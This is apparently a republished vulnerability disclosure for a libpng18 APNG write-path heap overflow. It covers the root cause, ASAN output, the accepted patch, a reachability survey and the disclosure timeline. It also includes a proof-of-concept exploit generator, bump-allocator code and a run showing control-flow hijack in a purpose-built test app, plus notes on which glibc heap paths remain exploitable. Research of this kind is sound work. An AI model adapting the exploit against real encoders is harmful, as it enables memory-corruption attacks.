core-jmp core-jmpdeath of core jump

0day in libpng: APNG Write-Path Heap Buffer Overflow (CWE-787)

A write-side fuzzing campaign against libpng18's APNG re-encode path found a per-frame buffer lifecycle defect that yields both a memory leak (CWE-401) and a heap buffer overflow (CWE-787) from one root cause: png_write_reset clears the frame counters but never frees the four scratch buffers, so a narrow frame's undersized allocation survives into a wider frame's row copy. The resulting write carries 100% attacker-controlled bytes and scales linearly with canvas width to roughly 4 MB per row at libpng's default user-width limit. Full technical breakdown, sanitizer output, the accepted patch, the corruption-primitive analysis, and a precise reachability survey.

oxfemale August 8, 2026 35 min read 87 reads
Export PDF
0day in libpng: APNG Write-Path Heap Buffer Overflow (CWE-787)
Original text: “0day: libpng APNG OOB Write”Ariel Koren, arielkoren.com (published 2026-08-06). Code listings, sanitizer output, tables and figures below are reproduced verbatim with attribution captions.

Executive Summary

A write-side fuzzing campaign against libpng18’s APNG re-encode path uncovered a per-frame buffer lifecycle defect that produces two distinct symptoms from one root cause: a memory leak (CWE-401) when animation frames share a uniform width, and a heap buffer overflow (CWE-787) when frame widths vary. The culprit is png_write_reset — the helper that libpng calls at the start of every APNG frame. It clears the frame-progress counters but never releases the four per-frame scratch buffers, so a narrow frame’s undersized allocation can survive across a frame boundary and reappear as the destination of a wider frame’s row copy.

The write that results carries 100% attacker-controlled bytes. It scales linearly with canvas width, reaching a per-row ceiling of roughly 4 MB at libpng’s default PNG_USER_WIDTH_MAX of 1,000,000 pixels — from an input file that can be under a kilobyte. In a purpose-built no-ASAN glibc debug build the overflow was characterised as landing attacker bytes directly on the prev_size, size, FD and BK fields of an adjacent unsorted-bin chunk. Reachability, however, is narrow: only encoders that drive libpng’s per-frame APNG write API are affected, and read-only consumers — browsers, viewers, decoders — never touch the vulnerable path. The maintainer accepted the patch on 2026-06-23; a fixed release has not yet shipped and no CVE has been assigned.

Vulnerability Report

A write-side fuzzing campaign against libpng18’s APNG re-encode path found a per-frame buffer lifecycle bug causing both a memory leak and a width-dependent heap buffer overflow. The overflow carries 100% attacker-controlled bytes, scales linearly with canvas width to a per-row ceiling of approximately 4 MB at libpng’s default user-width limit, and was characterised in a no-ASAN glibc test build as an input-controlled adjacent-heap overwrite. The patch was authored by the reporter and validated across a multi-billion-execution post-discovery campaign.

FieldValue
Disclosure statusAccepted by maintainer 2026-06-23 — patch accepted, fixed release pending. CVE request declined 2026-07-10 on scoping grounds and not yet re-issued (GHSA-wr84-h9jm-6g23, still a draft).
Vulnerability classHeap Buffer Overflow (CWE-787), with a same-root-cause memory leak (CWE-401)
Date reported2026-05-02
Affectedlibpng18 (post-v1.6.58), per-frame APNG write API
SeverityHigh — CVSS:3.1 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Advisory metadata. Source: original article.

Discovery Context

How the bug was found

The attack surface of a mature image library sounds like a solved problem. libpng has been audited, fuzzed, and deployed at planetary scale for three decades. Running an AI-driven fuzzing campaign against it in 2026 sounds almost quaint — until you remember that the machine does not tire, does not speculate, and does not decide that the read side is probably fine.

An 11-vector parser harness ran autonomously for 22 hours: 26 iterations and 158 million executions against libpng 1.6.50, covering synchronous read, progressive read, the simplified API, write-back round-trip, transform combinations, and allocation-failure injection. Coverage climbed from 11% to 38.94% of instrumented program counters. Zero crashes. Zero memory-safety findings. A human researcher might reasonably have called it there and moved on to a different target.

The agent pivoted instead. libpng18 — the post-v1.6.58 mainline merge of APNG write support at commit 614ab644f — had never been fuzz-tested on the write path at this depth. A harness mirroring the standard APNG re-encode loop was constructed in minutes: read each frame head, read rows, write frame head, write rows, write frame tail. The fuzzer fired the first bug within seconds. The second came 25 minutes later.

Total elapsed time from parser saturation to both write-side findings confirmed: under one hour. Time from findings to a coordinated disclosure bundle: the same afternoon. That gap — machine-speed discovery paired with coordinated remediation — is the part of the story worth internalising.

Impact Analysis

DimensionAssessmentNotes
SeverityHighCVSS:3.1 7.8 · AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — assumes an application that feeds attacker-controlled APNG geometry through the affected API and where the corruption converts to full process compromise.
StatusPatch acceptedAccepted by the maintainer 2026-06-23; fixed release not yet shipped.
ReachabilityWrite API onlyRead-only consumers unaffected; common tested APNG tools did not reproduce.
CVENone assignedRequested 2026-06-23 and 2026-06-29; declined 2026-07-10 on scoping grounds; not re-issued since the advisory was narrowed.
Impact summary. Source: original article.

Why It Wasn’t Caught Earlier

Three reasons OSS-Fuzz missed it

  1. APNG write merged late. PNG_APNG_SUPPORTED and PNG_WRITE_APNG_SUPPORTED reached libpng’s mainline through the libpng18 branch, after v1.6.58. Vanilla libpng 1.6.x distributions without the APNG patch are not affected, which means the code simply was not present in the artefact most fuzzing infrastructure builds.
  2. OSS-Fuzz historically pressures the read side. The standard fuzz target libpng_read_fuzzer.cc exercises decode. The per-frame APNG write API is only reachable through a harness that explicitly drives png_write_frame_head, png_write_rows and png_write_frame_tail in a loop — something no existing target did.
  3. The trigger pattern is structural. The bug fires only when per-frame fcTL widths vary across an APNG, and specifically when a narrower frame is followed by a wider one. Generators that emit uniform-width APNGs — which is the overwhelmingly common case — miss the bug class entirely, no matter how many inputs they produce.

The campaign’s 50+ semantic mutation strategies in png_semantic_mutator.py included one, apng_fctl_geometry, that perturbed per-frame widths independently of one another. That single strategy is what surfaced the canonical 4,4,4,3,1,4,4,4 width-sequence reproducer. Everything downstream — the leak, the overflow, the control-flow hijack demo — follows from that one mutation being in the mix.

Technical Breakdown

One defect, two symptoms

Findings 002 and 003 are a single defect: png_write_reset does not release the per-frame scratch buffers. With uniform frame widths that presents as a clean memory leak; with varying widths it becomes an out-of-bounds write. One patch closes both, so the advisory treats them as one independently fixable vulnerability mapping to one CVE. A third finding from the same campaign — sub-byte pad-bit propagation (CWE-908) — is spec-compliant, was removed from the advisory as a hardening item, and is not closed by this patch.

Root Cause — Memory Leak (Finding 002, CWE-401)

png_write_reset (pngwutil.c:2884) is called from png_write_frame_head to begin each new APNG frame. It zeroes three frame-progress fields — row_number, pass, and a mode flag — but does not free row_buf, prev_row, try_row, or tst_row. Because the counters are zeroed, the next png_write_row call re-enters the first-row init path and png_write_start_row runs again.

That function reallocates row_buf unconditionally, and reallocates prev_row whenever the frame’s filter set includes AVG, UP or PAETH — in both cases overwriting the pointer without freeing what it held. try_row and tst_row are guarded on try_row == NULL, so they survive instead; that is the path Variant A trips. Every frame silently leaks its scratch allocation.

Three-band schematic of the libpng APNG write-side heap overflow: the fcTL width sequence 4,4,4,3,1,4,4,4 with the shrink-then-grow trigger marked; the row_buf/prev_row filter double-buffer swap carrying a narrow frame buffer across a frame boundary; and the row memcpy overrunning that stale buffer onto glibc unsorted-bin chunk metadata.
The three-step mechanic: the canonical width sequence establishes the trigger pattern (top); the row_buf/prev_row swap explains how a narrower frame’s buffer survives into a wider one (middle); a later row of the wider frame lands 100% attacker-controlled bytes onto adjacent heap memory (bottom), characterised in a no-ASAN glibc test build as reaching unsorted-bin chunk metadata. The middle band is drawn generically — which frame in the sequence supplies the stale buffer depends on the per-frame filter set, since png_write_start_row only reallocates prev_row when the filters include AVG, UP or PAETH. Source: original article.

LeakSanitizerfinding_002 — 263 B canonical reproducer

Direct leak of 26 byte(s) in 2 object(s) allocated from:
  #1 png_malloc_base                  pngmem.c:98
  #3 png_calloc                       pngmem.c:54
  #4 png_write_start_row              pngwutil.c:2096   <- prev_row
  #5 png_write_row                    pngwrite.c:812

Direct leak of 26 byte(s) in 2 object(s) allocated from:
  #1 png_malloc_base                  pngmem.c:98
  #3 png_write_start_row              pngwutil.c:2049   <- row_buf
  #4 png_write_row                    pngwrite.c:812

SUMMARY: AddressSanitizer: 52 byte(s) leaked in 4 allocation(s).

The leak grows linearly with frame count. num_frames is capped at PNG_UINT_31_MAX (0x7fffffff); combined with typical row-bytes in the kilobytes, an attacker can leak megabytes per re-encode call. Against a long-running process that re-encodes APNG through the per-frame write API that is a slow heap-pressure denial of service — subject to the same narrow reachability constraints as the overflow, covered further below.

OOB Write Mechanics (Finding 003, CWE-787)

The original report explained this as row_buf simply being left sized for the narrower frame. The maintainer instrumented it during triage and demonstrated that is not what happens: png_write_start_row does fire on every frame, and it does allocate row_buf at the correct size for that frame. The stale buffer arrives by a different route, and the corrected mechanism is the one below.

The trigger is the filter double-buffer. png_write_filtered_row swaps row_buf and prev_row after each row, so the two pointers trade places as a frame is written out; png_write_reset frees neither. A narrow intermediate frame’s small row_buf is swapped into prev_row and survives there across the frame boundary. On the second row of a later, wider frame, the swap puts that stale narrow buffer back into row_buf — and the row memcpy at pngwrite.c:900 writes the wide frame’s row into it:

pngwrite.c:900the overrunning row copy

memcpy(png_ptr->row_buf + 1, row, row_info.rowbytes)

The write is row_info.rowbytes — that is PNG_ROWBYTES(usr_pixel_depth, current_width), 12 bytes for a 4-pixel RGB8 row — starting at row_buf + 1, into an allocation sized for the narrow frame. The wide frame’s first row is fine; a later row is where it lands, so a single-row wide frame will not trip it. The mismatch is otherwise purely geometric: independent of colour type, bit depth, and interlace type.

The canonical trigger is an 8-frame RGB8 APNG with fcTL widths 4,4,4,3,1,4,4,4: three full-width frames, two progressively narrower frames, then growth back to full width. The OOB fires on the first wide post-narrow frame.

AddressSanitizerfinding_003 — 603 B canonical reproducer

==21987==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000065a
WRITE of size 12 at 0x60200000065a thread T0
    #0 __asan_memcpy
    #1 png_write_row              pngwrite.c:900:4
    #2 png_write_rows             pngwrite.c:651:7
    #3 LLVMFuzzerTestOneInput     apng_write_fuzzer.c:473:17

0x60200000065a is located 0 bytes to the right of 10-byte region [0x602000000650,0x60200000065a)
allocated by thread T0 here:
    #0 malloc
    #1 png_malloc_base            pngmem.c:98:11
    #2 png_malloc                 pngmem.c:181:10
    #3 png_write_start_row        pngwutil.c:2049:23
    #4 png_write_row              pngwrite.c:812:7
    #5 png_write_rows             pngwrite.c:651:7

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy

A 12-byte write into a 10-byte region. Because the destination is row_buf + 1, the write runs from offset 1 to offset 12, and ASAN flags the first out-of-bounds byte at offset 10 — three bytes past the end. From a 603-byte input. Deterministic across runs.

Linear Scaling — Verified

Three bytes sounds harmless. It is not. Using a width-tunable APNG generator that mirrors the shrink-then-grow pattern, the OOB write size scales linearly with canvas width:

Canvas width Wrow_buf sizememcpy sizeOOB delta
4 (canonical)10 B12 B3 B
164 B48 B45 B
644 B192 B189 B
2564 B768 B765 B
1,0244 B3,072 B3,069 B
4,096 (harness MAX_DIM)4 B12,288 B12,285 B
1,000,000 (libpng default PNG_USER_WIDTH_MAX)4 B~3 MB~3 MB / row · ~4 MB at 4 bpp
OOB write size as a function of canvas width. Source: original article.

The bytes past the end are exactly new_rowbytes − old_rowbytes, since both allocations carry the same one-byte filter prefix. For RGB8 following a 1-pixel frame that is W × 3 − 3 bytes per row. Multi-row frames re-trigger per row; multi-frame APNGs re-trigger per wide post-narrow frame. At libpng’s default user-width limit and 4 bytes per pixel, a single overflowing row writes approximately 4 MB of attacker-controlled bytes past a 4-byte allocation.

Attacker control properties

  • Bytes written: 100% attacker-controlled. With filter=None, IDAT/fdAT pixel bytes survive to the memcpy verbatim; other filters are reversible.
  • Write size: attacker-tunable from 1 byte to roughly 4 MB via the IHDR width and the fcTL frame-width pattern.
  • Determinism: the same input yields the same OOB size, the same memcpy call site, and the same relative offset. The allocator address differs run to run; the delta is constant.
  • Repeatability: an 8-frame seed gives three or more OOB writes back to back. Under the deterministic bump allocator they land on the same reused row_buf slot; against glibc the slot is reused too, so the repetition is depth rather than spread. A single sub-1 KiB input file produces multiple OOB hits.

Reachability of the vulnerable API

Grepping the libpng tree for png_write_frame_head and png_write_frame_tail turns up their definitions and exactly one caller: pngtest.c:1553. Several commonly tested tools — apngasm, apngopt, and ImageMagick — bypass this API entirely, assembling APNG containers with fwrite directly, and did not reproduce the bug. Read-only consumers do not reach the write path at all. The realistically affected population is any encoder built directly against libpng’s per-frame APNG write API.

The Patch — png_write_reset in pngwutil.c

pngwutil.cpng_write_reset patch (comment updated post-triage)

--- a/pngwutil.c
+++ b/pngwutil.c
@@ -2886,6 +2886,24 @@ png_write_reset(png_struct *png_ptr)
    png_ptr->row_number = 0;
    png_ptr->pass = 0;
    png_ptr->mode &= ~PNG_HAVE_IDAT;
+
+   /* Release per-frame scratch buffers so png_write_start_row will
+    * re-allocate them at the correct size for the next frame. Without
+    * this, png_write_filtered_row's row_buf/prev_row swap can carry a
+    * narrow frame's buffer into a later, wider frame, causing either a
+    * leak (uniform widths) or a heap-buffer-overflow on the second row
+    * memcpy of the wider frame.
+    */
+   png_free(png_ptr, png_ptr->row_buf);
+   png_ptr->row_buf = NULL;
+#ifdef PNG_WRITE_FILTER_SUPPORTED
+   png_free(png_ptr, png_ptr->prev_row);
+   png_ptr->prev_row = NULL;
+   png_free(png_ptr, png_ptr->try_row);
+   png_ptr->try_row = NULL;
+   png_free(png_ptr, png_ptr->tst_row);
+   png_ptr->tst_row = NULL;
+#endif
 }

On the diff above: the code is byte-for-byte what was submitted and what the maintainer accepted. Only the explanatory comment differs — the submitted version described the mechanism as a frame reusing a buffer sized for the prior frame, which is the framing the maintainer corrected during triage. The comment shown here reflects the corrected mechanism; the wording that lands upstream is the maintainer’s call.

Reproducer Results

InputPre-patchPost-patch
iter_apng_write_leak_001.bin (263 B)LSan: 4 allocs / 52 B leakclean (exit 0)
crash-…7f7c72b (603 B)ASAN heap-buffer-overflowclean (exit 0)
finding_003_min.png (467 B)ASAN heap-buffer-overflowclean (exit 0)
variant_a_2235B.bin (2,235 B)ASAN heap-buffer-overflow at variant alloc siteclean (exit 0)
Pre- and post-patch behaviour of every canonical reproducer. Source: original article.

A 100-file APNG seed-corpus smoke test under ASAN + LSan + UBSAN produced zero errors and zero leaks. The extra png_free calls did not introduce double-free or use-after-free regressions on normal-shape inputs.

Corruption Primitive

What the overflow actually clobbers

ASAN reports the existence of the bug. To characterise the primitive it produces, the researcher built a non-ASAN debug build (build-noasan/) and ran a conditional-breakpoint gdb script on libpng’s own pngtest binary with the W=64 PoC input. The script breaks only when rowbytes + 1 > chunk_size — that is, only on rows that actually go out of bounds.

Six OOB writes came from one input file, all landing at the same row_buf heap slot 0x555555593090 (deterministic per input). chunk_size = 0x20 (32 B), writable region 24 B, memcpy 192 B — 168 B past the usable region per fire, or 169 counting the filter byte the copy skips. The scaling table above measures against ASAN’s exact-size allocation; glibc rounds the same request up to a 24-byte usable region, so the two figures differ by that rounding, not by disagreement.

gdb · pre-OOBadjacent free chunk in glibc’s unsorted bin

--- next chunk header @ row_buf + writable ---
0x5555555930a0:   0x0000555555593080   0x0000000000000411
0x5555555930b0:   0x00005555555934c0   0x0000555555560010
                  ^prev_size           ^size (0x410 | PREV_INUSE)
                  ^FD                  ^BK

That is a 1,040-byte free chunk sitting in glibc’s unsorted bin, visible by the FD/BK pointers chaining into other heap chunks. The size field reads 0x410 | 0x1 — size 0x410 with the PREV_INUSE bit set.

gdb · post-OOBheap metadata fully overwritten with attacker bytes

0x5555555930a0:   0xaaaaaaaaaaaaaaaa   0xaaaaaaaaaaaaaaaa
0x5555555930b0:   0xaaaaaaaaaaaaaaaa   0xaaaaaaaaaaaaaaaa
NEXT chunk size = 0xaaaaaaaaaaaaaaa8   flags-low3 = 0x2 (IS_MMAPPED set)

Pixel byte 0xAA is what the generator emits, so every overwritten metadata byte is attacker-controlled. The prev_size, size, FD and BK fields of the adjacent unsorted-bin chunk are now under attacker control.

What the primitive is worth

No exploitation chain was implemented end to end against pngtest. The defensive picture stops at “deterministic heap-metadata corruption with 100% attacker bytes.”

That is a potentially exploitable corruption primitive: the write crosses an object boundary and lands attacker bytes on allocator metadata. Converting it into an arbitrary write or code execution is a different question — modern glibc has hardened every classical path, with unsorted-bin FD/BK checks and tcache safe-linking added in 2.32 and the malloc hooks removed in 2.34. No production-target exploit was developed, and the technique catalogue is deliberately omitted from the advisory.

This characterises the corruption primitive in a purpose-built local debug build. Real-world exploitability depends on allocator version, glibc patch level, heap layout, ASLR posture, and the surrounding application.

Ariel Koren, “Corruption Primitive”

Variant A

Independent rediscovery of the same family

A separate patch-validation harness (apng_write_transform_fuzzer.c) called png_set_filter, png_set_compression_level, png_set_compression_strategy and png_set_compression_buffer_size between every frame head, with values driven by a hash of the input. Its first pass against unpatched libpng18 fired:

AddressSanitizerVariant A — png_set_filter alloc-site manifestation

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1 at <addr> thread T0
  #0 png_setup_paeth_row              pngwutil.c:2592
  #1 png_write_find_filter            pngwutil.c:2825
  #2 png_write_row                    pngwrite.c:957
  #3 png_write_rows                   pngwrite.c:651

allocated by:
  #3 png_set_filter                   pngwrite.c:1182

This is a different allocation site. png_set_filter allocates try_row and tst_row at the time it is called, and only when they are NULL — so a stale pair from an earlier frame is kept rather than replaced. Same root cause: a per-frame scratch buffer left alive across a frame transition that narrows and then widens.

The same disclosed patch, which frees try_row and tst_row in png_write_reset, covers this manifestation too. A second pass against the patched build ran 90 minutes and 147.9 M executions with zero trips. Variant A confirms the patch is correct beyond the specific call sites in the original reproducers. A smaller patch freeing only row_buf would have left this manifestation open.

The bug class is genuinely small-input territory.

  • A 263-byte APNG leaks memory (finding_002 canonical).
  • A 467-byte APNG corrupts the heap (finding_003 minimised).
  • A 638-byte APNG hijacks control flow (working PoC against vuln_app).
  • A 2,235-byte APNG demonstrates Variant A.

Every one of these passes libpng’s read side cleanly. They are valid APNGs by libpng’s own decoder. They only misbehave when the contents are subsequently re-encoded with the per-frame APNG write API.

PoC Mechanics

From OOB to control-flow hijack

Why a purpose-built target

A real exploit chain against pngtest would need an info leak (for ASLR bypass) and a heap-shaping primitive (to control allocation adjacency). Both are standard assumptions in modern heap-corruption literature, and both are orthogonal to whether the OOB primitive is convertible to control-flow. To keep the demonstration crisp, both assumptions are materialised inside the target binary rather than papered over at runtime:

  • Fixed code addresses. Built with -no-pie, so &pwn is a compile-time constant.
  • Deterministic heap. glibc’s malloc, free, calloc and realloc are overridden by a bump allocator backed by mmap(MAP_FIXED, 0x100000000, 16 MiB). Every allocation address is a function of the allocation serial number.

The mechanic

The bump allocator detects libpng’s narrow-frame malloc(4) (1 px RGB8 plus the filter byte) and reserves the next 16 bytes for an fp_table struct that lands inside the soon-to-fire OOB write range:

vuln_app.cbump allocator — fp_table reservation trick

struct fp_table {
    void (*cb)(void);
    char  pad[8];
};

if (reserve_armed && n == 4 && reserved_fp_table_slot == NULL) {
    reserved_fp_table_slot = heap_top;
    narrow_row_buf_addr   = p;
    heap_top += 16;
}

After each frame’s encode, vuln_app calls fp_table->cb(). With benign input, cb is &benign. With the exploit input, cb is whatever the OOB just wrote.

The exploit input

gen_exploit_png.py generates a 638-byte 8-frame APNG with widths 64,64,64,32,1,64,64,64 — the same shrink-then-grow shape, scaled to W=64. Wide post-narrow frames carry &pwn as little-endian 8 bytes at pixel-row offset 15..22:

gen_exploit_png.pyembedding &pwn at row[15..22] of the wide post-narrow frame

def craft_wide_row(canvas_w, pwn_addr):
    rowbytes = canvas_w * 3
    row = bytearray(rowbytes)
    row[15:23] = struct.pack('<Q', pwn_addr)
    return bytes(row)

The OOB memcpy lands those 8 bytes onto fp_table->cb. The next call site invokes pwn(), which runs system("xcalc") and writes /tmp/PWNED.txt.

Terminal · end-to-end runvuln_app exploit.png

$ ./build_vuln.sh
$ PWN=$(./vuln_app /tmp/oob_W64.png 2>&1 | grep "&pwn      =" | awk '{print $NF}')
$ python3 gen_exploit_png.py "$PWN" exploit.png
wrote 638 bytes to exploit.png
&pwn = 0x4028db embedded at row[15..22] of wide post-narrow frames

$ ./vuln_app exploit.png
[+] vuln_app starting
[+] &pwn      = 0x4028db
[+] heap @ 0x100000000 ... 0x101000000 (deterministic, MAP_FIXED)
[+] read 64x4 rowbytes=192
[+] fp_table @ <slot>, ->cb = <benign>
[+] AFTER write loop:
[!!!] callback HIJACKED to &pwn - invoking now
=================================================
[!!!] CONTROL FLOW HIJACKED - pwn() executing
=================================================
[!!!] launching xcalc...

The negative test matters as much as the positive one: passing 0xdeadbeef instead of &pwn overwrites the callback with garbage and the call site SIGSEGVs deterministically. That is the negative control proving the overwrite hits the intended offset rather than merely destabilising the process.

Glibc dependence and the mitigation envelope

The standard heap-exploitation paths depend on glibc allocator internals that have changed materially across versions:

  • __free_hook / __malloc_hook: removed in glibc 2.34 (August 2021). Pre-2.34 distributions (Ubuntu ≤ 20.04, Debian ≤ bullseye, RHEL ≤ 8) remain exposed to the simplest hook-overwrite chain.
  • Unsorted-bin FD/BK sanity check: added in glibc 2.32. Defeats the classic unsorted-bin-attack write primitive on 2.32 and later. Tcache poisoning still works.
  • Tcache safe-linking: also added in glibc 2.32. Defeats naïve tcache poisoning on 2.32 and later; an attacker-controlled FD must now be XORed with the chunk’s location before insertion.

The verified primitive — 100% attacker bytes onto adjacent unsorted-bin chunk metadata — is the same primitive that real-world CVEs against allocator-adjacent OOBs have exploited. Whether it is RCE-grade on a given target depends on the host glibc version, the ASLR posture, and the heap layout, none of which the bug itself controls.

Controlled Exploitability Demonstration

A short, controlled reproduction

Control flow hijack against purpose-built vuln_app · explicit ASLR-bypass and deterministic-heap assumptions · not a working exploit against any deployed application. Source: original article.

Reachability

Who actually re-encodes APNGs?

Before publishing severity claims, the researcher checked which user-space tools actually call libpng’s per-frame APNG write API:

Toollibpng write API usedReproduces finding_003?
apngasm v3.1.10png_write_image onlyNot reproduced
apngopt 1.4png_write_image onlyNot reproduced
ImageMagick (coders/png.c)png_write_row + png_write_info / png_write_endNot reproduced
Which APNG tools actually reach the vulnerable API. Source: original article.

Grepping the libpng tree for png_write_frame_head and png_write_frame_tail turns up their definitions in pngwrite.c and exactly one caller, pngtest.c:1553. pngtest is the only caller of the per-frame APNG write API in libpng’s own tree. Debian ships it in the libpng-tools package and runs it during make test.

The realistically affected population is narrower than “image CDNs and re-encoders”: (1) pngtest itself, a shipped binary that runs during build and CI; (2) any encoder built directly against libpng’s per-frame APNG write API; and (3) future encoders written against this API without awareness of the lifecycle requirement. Read-only consumers — browsers, image viewers, and decoders that never call png_write_* — do not reach the vulnerable path.

Patch Validation

Does the patch fully close the bug class?

Eight validation campaigns across five days answered the obvious follow-up question: does the patch close the full family, or only the known reproducers? Cumulative validation fuzzing came to roughly 7.7 billion executions across 30+ distinct harnesses, 5 sanitizer combinations, 3 independent comparators (libspng, stb_image, libpng16), and both patched and unpatched builds.

CampaignSurfacesExecsNew security findings
APNG-write continuation3 harnesses (MSAN v2, transform, roundtrip)~308 M0 (1 family variant — Variant A)
Deep continuation8 tracks (libspng diff, alloc-fail v1+v2, UBSAN unsigned, CRC chaos, setter chaos, adversarial IO, libpng18 vs libpng16)~590 M0
Progressive-vector4 harnesses~486 M0
Metadata-roundtrip3 harnesses~761 M0
Complex-transform pipeline3 harnesses~234 M0 (1 harness-misuse class on png_set_background_fixed — hardening, not security)
APNG patch-diff sweep7,375 inputs + 2 h libFuzzer + 90 min MSAN7,375 + 616 M execs0 patched-side trips
Cleanup-audit3 micro-harnesses~358 M0
Chaos pipeline + critic-mode7 harnesses~4 B0
Eight post-discovery validation campaigns. Source: original article.

The patch-diff sweep is the strongest single piece of evidence: of 7,375 deterministically classified inputs drawn from every prior corpus, 322 trip the unpatched build (FIXED_FAMILY) and 0 trip the patched build. Add 616 M executions of further libFuzzer and MSAN pressure on the patched build alone, also with zero trips. The validation campaign found strong evidence that the patch closes the observed finding_002/003 family across every harness shape tested.

Disclosure Timeline

From discovery to coordinated disclosure

  1. 2026-04-29 — Campaign starts. libpng 1.6.50, ASAN+UBSAN, 11-path parser harness. Coverage 11% → 38.94%.
  2. 2026-05-01 — Finding 001: MSAN pad-bit propagation (CWE-908). Hardening, not exploitable.
  3. 2026-05-02 — Findings 002 and 003 on the libpng18 APNG write path. Both deterministic.
  4. 2026-05-02 — Patch authored. Disclosure bundle prepared.
  5. 2026-05-05 → 06 — ~7.7 B cumulative executions across 30+ harnesses. Patch-diff sweep: 322 unpatched trips → 0 patched trips. Saturation confirmed.
  6. 2026-05-06 — Linear OOB scaling verified to the ~4 MB ceiling at PNG_USER_WIDTH_MAX. Working control-flow hijack demonstrated against the purpose-built target.
  7. 2026-05-11 — GitHub Security Advisory GHSA-wr84-h9jm-6g23 opened against pnggroup/libpng.
  8. 2026-06-23 — Maintainer accepts the report, independently reproduces both inputs under ASAN/UBSAN/LSan, and validates the patch end to end. Root-cause framing corrected to the row_buf/prev_row swap. CVE requested.
  9. 2026-06-23 — Finding 001 ruled spec-compliant — a hardening item rather than a vulnerability, to be handled separately. Patch accepted essentially as-is, to land behind a regression test built from the 467 B reproducer.
  10. 2026-06-29 — CVE request re-issued by the maintainer after the first went unanswered.
  11. 2026-07-10 — GitHub declines the CVE request under CNA rule 4.2.11: the advisory covered more than one independently fixable vulnerability.
  12. 2026-07-11 — Advisory narrowed to a single vulnerability (CWE-787), with the CWE-401 leak folded in as its same-patch companion and finding 001 removed.
  13. 2026-08-06 — Published. The advisory is still a draft, the fixed release has not shipped, and no CVE has been assigned.

Companion Finding

finding_001 — a separate hardening report

For completeness: the same campaign also produced a low-severity write-side hardening item that was filed as a separate report to libpng’s public list rather than bundled with 002 and 003.

finding_001 — sub-byte gray pad-bit propagation (CWE-908). png_combine_row (pngrutil.c:3870) preserves the destination row buffer’s pre-memcpy padding bits across the memcpy that fills the row. For sub-byte grayscale rows whose (width × bit_depth) mod 8 ≠ 0, those preserved bits are uninitialised and propagate into the IDAT byte stream when the buffer is later written.

PNG 1.2 §7.2 explicitly leaves the value of those padding bits unspecified, so the behaviour is spec-compliant — but it is at odds with the common-practice convention, since lodepng, stb_image_write, Wuffs and libspng all zero-pad. The pad-bit issue is structural across the entire libpng 1.6 series; the relevant OR-restore line is byte-for-byte identical between v1.6.43 (pngrutil.c:3679) and HEAD.

An observability study (185×256 1bpp images, allocator-fill 0xAA / 0x55 / 0xCC, 100 trials per arm) bounded the leak window:

  • Theoretical per-image leak: 1,792 bits (256 rows × 7 pad bits).
  • Actually observable: ~49 / 1,792 (~2.7%). The remaining rows return zero regardless of allocator fill.
  • Standard deviation 0 across trials per arm — deterministic per input.

49 bits per image is too small to reconstruct a 64-bit pointer reliably, and the leakable bits map to fresh-malloc residue, which is predominantly zero or low-entropy on most allocators. It was treated as hardening rather than exploitable information disclosure.

Lessons from the Campaign

  1. Fuzz the write side. OSS-Fuzz historically pressures decode. A natural read-then-re-encode harness — the very thing image-processing pipelines actually do — was enough to surface security-relevant write-side memory corruption in under 30 minutes against a continuously fuzzed library.
  2. Width-varying multi-frame APNG is the structural weak shape. Generators that emit only uniform-width APNGs miss this entire bug class. The shrink-then-grow pattern 4,4,4,3,1,4,4,4 is the canonical worst case.
  3. Lifecycle helpers are bug factories. png_write_reset looks like a three-line helper. It zeroes frame-progress fields and leaves the four scratch buffers alone, trusting the allocation path to sort itself out. It does — for row_buf. What it does not account for is that png_write_filtered_row has already moved the previous frame’s buffer into prev_row. The state a lifecycle helper misses is often state that some other function moved. One root cause, three manifestations (finding_002, finding_003, Variant A), one patch.
  4. Get the root cause reviewed by someone who owns the code. The reported mechanism was wrong. The reproducers were right, the patch was right, and the severity was right — but the causal story was still wrong, because it was inferred from the allocation path without instrumenting the swap. The maintainer caught it in triage by instrumenting png_write_start_row and finding that it fired every frame at the correct size. A mechanism that predicts the observed crash is not the same thing as the mechanism.
  5. Linearly scaling OOBs should not be dismissed by their smallest reproducer. “Three bytes past a ten-byte allocation” sounds harmless. “Up to 4 MB of attacker-controlled bytes onto adjacent heap metadata” does not. The correct framing always quantifies the primitive at the user-limit ceiling, not the canonical-seed minimum.
  6. Reachability is half the severity story. apngasm, apngopt and ImageMagick all bypass libpng’s per-frame APNG write API by accident — they assemble APNG containers manually with fwrite. The realistically affected population is materially smaller than “image CDNs and server-side optimisers” suggests. This scoping detail matters for any severity assessment.
  7. Patch validation matters as much as the initial finding. The same patch closed the original leak, the OOB write, and the later Variant A manifestation — three distinct allocation sites — across billions of follow-up executions. A finding is not finished when the bug fires; it is finished when the patch is verified to close the full family.
  8. Saturation is a finding too. Roughly 7.7 billion executions across 30+ harness shapes with zero new disclosure-grade bugs is positive evidence that the patched libpng18 APNG-write surface is tight under all the angles this campaign tried. A future researcher should pivot target rather than re-running the same harnesses.
  9. AI-driven fuzzing is good at exhaustion, not insight. The bug fired because one mutation strategy out of fifty perturbed per-frame fcTL widths independently. The agent did not reason its way to the bug class; it ran the search space hard enough that the structural weak shape surfaced. The methodological claim is not “agents are smarter”; it is “agents do not get tired, and they do not decide a surface is probably fine.”

Scope

Who is actually at risk?

The confirmed affected set is narrow, and it is worth being precise about that rather than gesturing at libpng’s install base. Four gates must all be true before an application is in scope: (1) the linked libpng exposes APNG write support (PNG_WRITE_APNG_SUPPORTED); (2) the application actually writes APNG through the per-frame API, not merely reads or views it; (3) frames of differing widths reach that API; and (4) attacker-influenced input can shape the frame sequence or geometry. Read-only consumers fail gate 2 structurally, which removes browsers, image viewers, and every plain decoder from the picture.

The maintainer’s assessment and the reporter’s agree: the only in-tree caller of png_write_frame_head and png_write_frame_tail is pngtest.c. The realistically affected population is pngtest — shipped in Debian’s libpng-tools — plus any application built directly against libpng’s per-frame APNG write API.

Third-party API reachability

One concrete data point that this is not a purely in-tree surface: the Python package imagecodecs calls png_write_frame_head and png_write_frame_tail explicitly from its _apng.pyx Cython extension, against a vendored libpng-apng-patched build. That is source-level evidence of the API being used outside libpng’s own tree.

Surveyed tools

Tool / CategoryVerdictRationale
pngtest (Debian libpng-tools)AffectedThe only in-tree caller of the per-frame APNG write API. Reachable and deterministic.
